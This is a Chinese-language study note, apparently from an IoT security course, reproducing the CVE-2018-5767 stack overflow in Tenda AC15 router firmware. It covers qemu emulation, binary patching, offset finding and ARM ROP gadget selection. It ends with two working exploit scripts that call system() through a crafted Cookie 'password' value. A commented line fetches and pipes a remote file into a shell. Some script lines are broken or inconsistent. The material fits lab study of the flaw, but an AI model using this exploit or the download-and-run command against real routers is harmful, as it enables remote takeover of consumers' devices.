200618 实例:httpd路由器 && ROP
pip install -U pwntools==4.3.0b0
0 基础知识
为了便于实验,选择一个可以模拟的路由器固件:Tenda AC15 15.03.1.16_multi。分析的漏洞为CVE-2018-5767,是一个输入验证漏洞,远程攻击者可借助COOKIE包头中特制的‘password’参数利用该漏洞执行代码。
测试环境:Ubuntu 16.04 LTS
固件下载地址: https://down.tenda.com.cn/uploadfile/AC15/US_AC15V1.0BR_V15.03.1.16_multi_TD01.zip
1.启动代码:
binwalk -Me US_AC15V1.0BR_V15.03.1.16_multi_TD01.zip
cd /home/michelle/work/iot/0618/_US_AC15V1.0BR_V15.03.1.16_multi_TD01.bin.extracted/squashfs-root
readelf -h bin/busybox
netstat -atpn|grep 80
sudo lsof -i:80
! 要把qemu-arm-static拷贝进去
cp $(which qemu-arm-static) .
sudo chroot ./ ./qemu-arm-static ./bin/httpd
sudo chroot ./ ./qemu-arm-static -g 1234 ./bin/httpd
netstat -atpn|grep 1234
gdb:
sudo gdb-multiarch ./bin/httpd
b *0x2D7E4 # 函数开始的位置
b *0x02ED18 # 函数结束的位置
target remote 127.0.0.1:1234
detach
python
import requests
url = "http://192.168.182.160/goform/xxx"
cookie = {"Cookie":"password="+"A"*1000}
requests.get(url=url, cookies=cookie)
# 百度查的传不上去怎么办的解法,并没有什么用
requests.adapters.DEFAULT_RETRIES = 5
s = requests.session()
s.keep_alive = False
import requests
url = "http://192.168.182.160/goform/xxx"
cookie = {"Cookie":"password="+"aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae"+ ".png"}
requests.get(url=url, cookies=cookie)
2 POC
2.1 IDA 基础操作 <search|keypatch>
- g 跳转到地址
- F5 显示代码
- 空格 tab 图和流程的展示
- x 索引到地址
2.1.1 search
打开string表,直接打字 connectcfm,但是实测打不出cfm
直接打 connectcfm
2.1.2 教你如何打patch
安装keypatch,要求你的环境单纯,我写了教程:https://www.cnblogs.com/ming-michelle/p/14109252.html
点 cancel
再
之后再替换就可以了
这里是chandler的那个
自行确认 是否保存上了
2.2 chroot启动报错<patch|虚拟网桥|python>
2.2.1 打patch
首先使用binwalk导出固件文件系统,并通过ELF文件的头信息判断架构,得知为32位小端ARM。
binwalk -Me US_AC15V1.0BR_V15.03.1.16_multi_TD01.zip
readelf -h bin/busybox
使用对应的qemu程序(qemu-arm-static),配合chroot启动待分析的目标文件bin/httpd。
#安装qemu和arm的动态链接库
sudo apt install qemu-user-static libc6-arm* libc6-dev-arm*
cp $(which qemu-arm-static) .
sudo chroot ./ ./qemu-arm-static ./bin/httpd
2.2.1 卡1
此时发现卡在了如下图的显示,同时检查80端口也并未开启。
根据打印的信息“/bin/sh: can’t create /proc/sys/kernel/core_pattern: nonexistent directory”,创建相应目录 mkdir -p ./proc/sys/kernel
。同时在ida中通过Strings视图搜索“Welcome to”字符串,通过交叉引用找到程序执行的上下文。
可以看到有不同的分支方向,简单分析梳理一下分支的判断条件。在上图中的标号1处,执行check_network函数后会检测返回值(保存在R0中),小于等于零时将执行左侧分支。
可以观察到会进行sleep并跳回loc_2CF84形成一个循环。
可以猜测因为模拟环境某些元素的缺失导致了检测失败。此处我们对程序进行patch,将其中的比较的指令 MOV R3, R0
修改为 MOV R3, 1
,从而强制让程序进入右侧分支。
除了keypatch 还可以用 rasm2 工具
借用rasm2工具翻译汇编指令到机器指令,通过IDA原始功能修改即可(展开Edit-Patch program-Change byte进行修改)。
2.2.1 卡2
此时运行程序会发现还是会卡住,继续观察上下文代码段,发现在下图中的标号2处对ConnectCfm函数返回值也进行了判断。采取同样的套路进行patch,这里不再赘述。
修改完好保存patch文件(展开Edit-Patch program-Apply patches to input file),并再次运行程序。
2.2.1 卡3
可以看到程序打印显示正在监听80端口,但ip地址不对。此时需要我们配置下网络,,并再次运行程序。
sudo apt install uml-utilities bridge-utils
sudo brctl addbr br0
sudo brctl addif br0 eth0
sudo ifconfig br0 up
sudo dhclient br0
此时,IP为本机的真实地址,实验环境就配好了。
2.2.2 配置虚拟网桥br0
最开始的文件要求修改:
https://blog.csdn.net/CapejasmineY/article/details/98541960
sudo service networking restart
brctl delif br0 eth0 #从br0上移除eth0
brctl show
ifconfig br0 down #使br0不工作,禁止
ip addr show #查看br0此时状态,down
brctl delbr br0 #删除br0
brctl show #此时无桥接设备
systemctl restart network
ifconfig
我的:
sudo apt install uml-utilities bridge-utils
sudo brctl addbr br0
ifconfig br0 192.168.182.160
sudo brctl addif br0 ens33
sudo ifconfig br0 up
sudo dhclient br0
ping www.baidu.com
ping 192.168.182.160
2.2.3 python 报错 segmentation fault
之后就是 用 python 给他发一个东西,给他leak出来bug
因为单独发送的东西过多,,但是在gdbserver 里面是正常的,,有可能是因为 ni?
2.3 POC 漏洞分析
根据CVE的描述以及公开POC的信息,得知溢出点在R7WebsSecurityHandler函数中。
ida可以直接按f5反编译arm架构的代码。
概述:把password 的等号后面的值,赋到了 一个固定大小的空间上 v35,输入多了,就会有栈溢出。
一般情况 就是找关键函数:
- 如果是堆:malloc free 看是否造成了 doublefree fastbin attack UAF off by one...
- 栈:memorycopy strcpy scanf sprintf gets这种 内存拷贝//内存获取时候的函数。
- 如果用snscanf就不会 出现这个情况
对于本题,直接搜 scanf
把password 的等号后面的值,赋到了 一个固定大小的空间上 v35
如果输入多了,就会有栈溢出
分析后得知,程序首先找到“password=”字符串的位置,通过sscanf函数解析从“=”号到“;”号中间的内容写入v35。这里没有对用户可控的输入进行过滤,从而有机会覆盖堆栈劫持程序流。
为了让程序执行到此处,我们得满足前面的分支条件,见下图:
我们需要保证请求的url路径不会导致if语句为false,比如“/goform/xxx”就行。
2.3.1 溢出尝试
现在进行简单的溢出尝试,开启调试运行程序 ./bin/httpd
,并另开终端用gdb连上远程调试。
下断点:
b *0x2D7E4
b *0x2ED18
只要是函数 return 0 的为位置,都是同样的地址。
用到的代码
sudo chroot ./ ./qemu-arm-static -g 1234 ./bin/httpd
netstat -atpn|grep 1234
sudo gdb-multiarch ./bin/httpd
gdb:
b *0x2D7E4 # 函数开始的位置
b *0002ED18 # 函数结束的位置
target remote 127.0.0.1:1234
c 对应的就会有变动了
detach
使用python requests库来构造HTTP请求,代码如下:
import requests
url = "http://192.168.182.160/goform/xxx"
cookie = {"Cookie":"password="+"A"*1000}
requests.get(url=url, cookies=cookie)
是gdb c完之后,再python
error:requests.exceptions.ConnectionError: ('Connection aborted.', BadStatusLine("''",))
传入参数过多,拆分参数,再次传入即可
出现了漏洞,可以用 bt 来查看原因
2c5cc 在IDA中 按 g 输入2c5cc之后跳转到,说明 是strstr函数里面出现了问题。
strstr卡了,压根就没有到 我们要的strcpy这里。
所以 这时 就要 找 ROP 链 // payload了,因为 要找 能否 可以跳过 这个strstr报错,直接进入到strcpy里面去搞攻击。
我的 用bt看的结果是这个:
#0 0xf6623954 in strstr () from /home/michelle/work/iot/0618/_US_AC15V1.0BR_V15.03.1.16_multi_TD01.bin.extracted/squashfs-root/lib/libc.so.0
#1 0x0002c5cc
所以跟老师的一样,都是2c5cc的位置
并不是这个 的 strstr:
2.3.2 老师给的详细解释
HTTP请求发送后,gdb捕捉到错误。如下图所示,有几项寄存器被写入了“AAAA“。但仔细一看出错的地方并不是函数返回处,而是一个“从不存在的地址取值”造成的报错,这样目前就只能造成拒绝服务,而不能执行命令。
gdb输入 bt
查看调用路径,跟踪0x0002c5cc,发现位于sub_2C568函数中,而该函数在我们缓冲区溢出后将被执行。
整理一下,我们想要缓冲区溢出后函数返回以劫持程序流,但现在被中间一个子函数卡住了。观察从溢出点到该子函数中间的这段代码,发现有个机会可以直接跳转到函数末尾。
如上图中的if语句,只要内容为false就可以达到目的。
这段代码寻找“.”号的地址,并通过memcmp函数判断是否为“gif、png、js、css、jpg、jpeg”字符串。
比如存在“.png”内容时, memcmp(v44, "png", 3u)
的返回值为0,if语句将失败。
而这段字符串的读取地址正好位于我们溢出覆盖的栈空间中,所以在payload的尾部部分加入该内容即可。于此同时,我们使用cyclic来帮助判断到返回地址处的偏移量。
2.3.3 确定溢出位置
import requests
url = "http://192.168.182.160/goform/xxx"
cookie = {"Cookie":"password="+"aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaemaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae"+ ".png"}
requests.get(url=url, cookies=cookie)
c
c 直到引起crash
崩溃信息如下图所示。
IDA g 2ddf8
错误的地址,因为他要找这个地址,所以发生了崩溃,65 l
arm的csrf寄存器的值
p/t $cpsr
cpsr 是arm里的标志寄存器
执行到了2ed18
改成maae,之后,就运行到了.text:0002ED18 LDMFD SP!, {R4-R6,R11,PC}
.text:0002ED18 ; End of function R7WebsSecurityHandler
ni
用 cyclic -l maae 看maae在哪里,偏移量是448,栈溢出是为了覆盖返回值地址,所以就是在 这一段里 第 448 偏移的位置给他 填上想要执行的程序的 代码的地址,
如果没有开 NX 的话,可以直接用shellcode 给他跳转过去,,shellcode的地址放在这里。
如果开了 NX,就做 ROP 链, ROP 链的第一个地址就放在这。
需要特别注意 ,崩溃的返回地址显示是0x6561616c(‘laae’),我们还需要观察CPSR寄存器的T位进行判断,CPSR寄存器的标志位如下图所示。
这里涉及到ARM模式(LSB=0)和Thumb模式(LSB=1)的切换,栈上内容弹出到PC寄存器时,其最低有效位(LSB)将被写入CPSR寄存器的T位,而PC本身的LSB被设置为0。此时在gdb中执行 p/t $cpsr
以二进制格式显示CPSR寄存器。如下图所示,发现T位值为1,因此需要在之前报错的地址上加一还原为0x6561616f(‘maae’)。
在我看到的几篇该漏洞分析文章都忽略了这一点导致得到错误偏移量。我们可以在函数最后返回的pop指令处(0x2ed18)下断点进行辅助判断。如下图所示,可以看到PC原本将被赋值为“maae”。因此偏移量为448。
2.4 checksec ./bin/httpd
说明开了NX 用rop链。
Arch: xxx
RELRO: 是跟你的got表能不能写有关,got是做动态跳转表
Stack: 栈溢出的保护----Canary金丝雀(中间放cookie(4个字节/8个字节),进出时,做cookie的对比,cookie是以‘\0’结尾的,所以把 \0 覆盖掉,就能把cookie打印出来,完成leak)
NX: 内存保护。堆栈不可执行,只有代码段具有执行权限。当开启NX 保护后,栈和堆是 没有 可执行权限的。
当没有开启NX时,msf/pwntools可以自动生成一段代码----shellcode,放进去就能执行。
用ROP链进行绕过(用本身的拼凑出)
PIE: xxxxx
PIE ASLR 不需要去 LEAK了, 说明每次的基址是一定的,可以直接拿到system的基址。
3 EXP
3.1 利用流程
利用libc中的system函数 + rop链 gadget片段 来执行代码。
- 将 system函数地址 写入到寄存器gadget里面去
- 将 R0 填成 /bin/sh 的地址
- 再用ROP链跳转到 有system的gadget地址上去
PIE ASLR 不需要去 LEAK了, 说明每次的基址是一定的,可以直接拿到system的基址。
3.2 system的地址
- offset + libc_base,才是system的地址
system_addr = libc_base_addr + systen_symbol_addr
关闭地址随机化
sudo gedit /proc/sys/kernel/randomize_va_space
3.2.1 找system的offset:
readelf -s ./lib/libc.so.0|grep system
=> 0005a270
- !! system symbol的地址 == systen_symbol_addr
3.2.2 找system_base:
方法一:vmmap:0xf65e5000
- 用 vmmap 看 libc的基址: 《上面是代码段,下面是libc,因为带有执行权限》0xf65e5000
0xf67f1000
vmmap里面的是用 qemu模拟的,所以可能会有出入
方法二:
ps -ef|grep /bin/httpd
这个拿到进程号,之后 在下面文件夹中 查找libc,拿到的才是更真实的,x就是。
5242是PID号,每个进程都有进程目录。在/proc/pid/maps内存映射图里
sudo cat /profc/5296/maps|grep "libc"
不用 -g 1234 chroot 直接启动
关掉地址随机化
7ffff55fa000 这里与是不是 -g 1234 启动的 无关,,跟老师的一样。
3.3 ROP 链
因为要把栈顶 写入到R0里面去
r3寄存器是 可以 控制的
ROP链有两个目的:
- 调用system——addr
- 给system传入 /bin/sh 跳转执行 <这时实际上就是 给 R0 写入 /bin/sh的 地址>
mov r0, sp ; blx r3
给R0写一个/bin/sh addr ; 跳转到 R3上去,R3上传的是system_addr
就是 给system上传入了 /bin/sh addr;执行 system就是执行 /bin/sh 。
这个 就是 给R3 里写值
shellcode:一段可执行代码,可以用pwntools自动生成;
1) 将system函数地址写入某寄存器的gadget;
2) 往R0寄存器存入内容(即system函数的参数),并跳转到system函数地址的gadget;
3) libc.so的基地址;
4) system函数在libc中的偏移地址;
RopGadget
先改下豆瓣源
先从httpd自己的程序里面搜,之后不行就在 libc里面找《第三方库里面找》 用那个就 只用那个
mov r0, sp | pop r0
先找本机:
ROPgadget --binary httpd |grep "pop r0"
ROPgadget --binary httpd |grep "mov r0, sp"
之后找libc里的:
ROPgadget --binary ./lib/libc.so.0|grep "pop r0"
ROPgadget --binary ./lib/libc.so.0|grep "mov r0, sp"
0 4 8 c
只要在libc里找了,那么第二个跳转就 不能再用本机了
--only 是找 包含这个的 ROP链
ROPgadget --binary ./lib/libc.so.0 --only "pop"|grep r3
--only "pop"的意思是找有pop的地方 且 grep r3,找有R3的地方
ROPgadget搜出的所有的链都是在你指定的基础上,加上返回的。
这个里面 有 第二次修改,不干净,所以不能用。
0x00018298
0x00040cb8
3.4 ARM 万能 ROP 链
RopGadget 需要以下信息:
- 将system函数地址写入某寄存器的gadget;
- 往R0寄存器存入内容(即system函数的参数),并跳转到system函数地址的gadget;
- libc.so的基地址;
- system函数在libc中的偏移地址。
将要执行的 命令地址 写入 R0寄存器 < mov r0, sp | pop r0 >, 之后跳转< blx | bx >到 system 上
R0 是 system的 参数。
R0是第一个参数寄存器 还有 return 函数的返回值。
没有ROP链,写不了寄存器。因为开启了NX保护。
再在找 r3 r2
pop r3 后面必须要有 pop pc,因为pc会跳转到 mov r0, sp上。
pop 是把当前栈顶(sp指针指的位置) 上的数据 移入到 要pop到的寄存器里面去。
pop pc ,pc是 程序运行指针,pc的值是多少,就到哪里去执行,这里pc = a2,所以就到a2上去执行。
1) r3里先写上
pop R3(在r3里放上system地址)
pop pc(必须要有pop pc)(pc的值为mov r0 pc的地址)
2) 把栈里的内容写入到r0中去
mov r0, sp(控制栈)
或 pop r0
3)blx r3
或 bx r3
完整ROP链1:
pop R3
pop pc
mov r0,sp
blx r3
完整ROP链2:
pop r4
pop pc
---------
pop R3
bx R4 (这时要想成立,R4中得有了pop R0的地址)
pop R0
bx r2 ???这里我觉得应该是r3
完整ROP链3:
a3:
pop r4 a1地址
mov r3 r4 a1地址
pop pc a2地址
----------
a2:
pop r2 addr_system
bx r3 a1地址
----------
a1:
pop R0 addr_cmd(add_bin/sh)
pop R9 null/aaa/junk
blx r2 addr_system
完整ROP链3的利用:
5. pop r4 a1地址
4. pop pc a2地址
3. pop r2 addr_system
1. pop R0 addr_cmd(add_bin/sh) 这是个参数
2. pop R9 null/aaa/junk
system(R0里的参数:cmd:/bin/sh)
小端序:溢出之前里面填的东西
栈里的东西:上面低地址,下面高地址
a1地址
a2地址
addr_system
addr_cmd(add_bin/sh)
junk
完整ROP链4:
0х00018298 : рoр {r3, pc}
0x00040cb8 : mov r0, sp ;
0x00040cbc : blx r3
system(cmd)
完整ROP链4的利用:
addr_system
0x00040cb8
addr_cmd
3.5 一句话反弹:
3.6 EXP调试
gdbserver调试的时候需要 -g 12334挂起来,
写poc的时候就不需要 -g了。
老师的详细解释:
用checksec检查发现程序开启了NX保护,无法直接执行栈中的shellcode,我们使用ROP技术来绕过NX。
大多数程序都会加载使用libc.so动态库中的函数,因此可以利用libc.so中的system函数和一些指令片断(通常称为gadget)来共同实现代码执行。
system_address:
这里我们假设关闭了ASLR,libc.so基地址不会发生变化。通过gdb中执行 vmmap
查看当前libc.so的加载地址(带执行权限的那一项,注意该值在每台机器上可能都不同,我的为0xf65e5000)
system函数的偏移地址读取libc.so文件的符号表,命令为: readelf -s ./lib/libc.so.0 | grep system
,得到0x7ffff55fa000 。
接着寻找控制R0的指令片断:
sudo pip3 install ropgadget
ROPgadget --binary ./lib/libc.so.0 | grep "mov r0, sp"
0x00040cb8 : mov r0, sp ; blx r3
这条指令会将栈顶写入R0,并跳转到R3寄存器中的地址。因此再找一条可以写R3的指令即可:
ROPgadget --binary ./lib/libc.so.0 --only "pop"| grep r3
0x00018298 : pop {r3, pc}
payload格式为:
[offset, gadget1, system_addr, gadget2, cmd]
流程如下:
1. 溢出处函数返回跳转到第一个gadget1(pop {r3, pc});
2. 栈顶第一个元素(system_addr)弹出到R3寄存器,第二个元素(gadget2:mov r0, sp ; blx r3})弹出到PC,使程序流执行到gadget2;
3. 此时的栈顶内容(cmd)放入R0寄存器,并使程序跳转到R3寄存器指向的地址去执行。
我们可以在gadget2中将要跳转到system函数时设下断点,观察寄存器的状态。如下图所示,R0中内容为“echo hello”作为参数,R3中保存有system函数的地址,当前指令执行后将执行 system("echo hello")
。
继续运行将看到命令被执行。
4.poc代码
ni ni 单步调试
字符串 转义 :
可以用struct.pack 也可以用 p32
一般在嵌入式设备中,command使用wget执行的,但是他要求两者之间 联通
0618poc.py
import requests
from pwn import *
url = "http://%s:80/goform/exeCommand"%(host)
#0xf67f1000 0xf67f6000 r-xp 5000 0 /home/michelle/work/iot/0618/_US_AC15V1.0BR_V15.03.1.16_multi_TD01.bin.extracted/squashfs-root/lib/ld-uClibc.so.0
#7ffff55fa000-7ffff565f000 r-xp 00000000 08:01 929558 /home/michelle/work/iot/0618/_US_AC15V1.0BR_V15.03.1.16_multi_TD01.bin.extracted/squashfs-root/lib/libc.so.0
libc = 0x7ffff55fa000
#gadget:
# 0x00018298 : pop {r3, pc}
# 0x00040cb8 : mov r0, sp ; blx r3
#readelf -s ./lib/libc.so.0 |grep system
# 433: 0005a270 348 FUNC WEAK DEFAULT 7 system
gadget1 = struct.pack("< I", 0x00018298 + libc)
gadget2 = struct.pack("< I", 0x00040cb8 + libc)
system = struct.pack("< I", 0x0005a270 + libc)
#command = "wget 192.168.182.160:8989/1.txt|sh"
# 一般在嵌入式设备中用 wget 来获得
# command = "wget 192.168.182.160:8989/1.txt |chmod +x 1.txt |sh"
command = 'echo hello'
password = "A" * 444 + '.png' + gadget1 + system + gadget2 + command
req = urllib2.Request(url)
req.add_header("Cookie":"password=5s"%password)
try:
resp = urllib2.urlopen(req)
except:
pass
0618poc02.py
import requests
from pwn import *
url = "http://192.168.182.160/goform/exeCommand"
cmd="echo hello"
libc_base=0xf65e5000 #0xff5d5000 #0x7ffff55fa000
system_offset = 0x0005a270
system_addr = libc_base + system_offset # 0xf663f270
gadget1 = libc_base + 0x00018298 # 0xf65fd298
gadget2 = libc_base + 0x00040cb8 # 0xf6625cb8
payload = "A"*444 +".png" + p32(gadget1) + p32(system_addr) + p32(gadget2) + cmd
url = "http://192.168.182.160/goform/exeCommand"
cookie = {"Cookie":"password="+payload}
requests.get(url=url, cookies=cookie)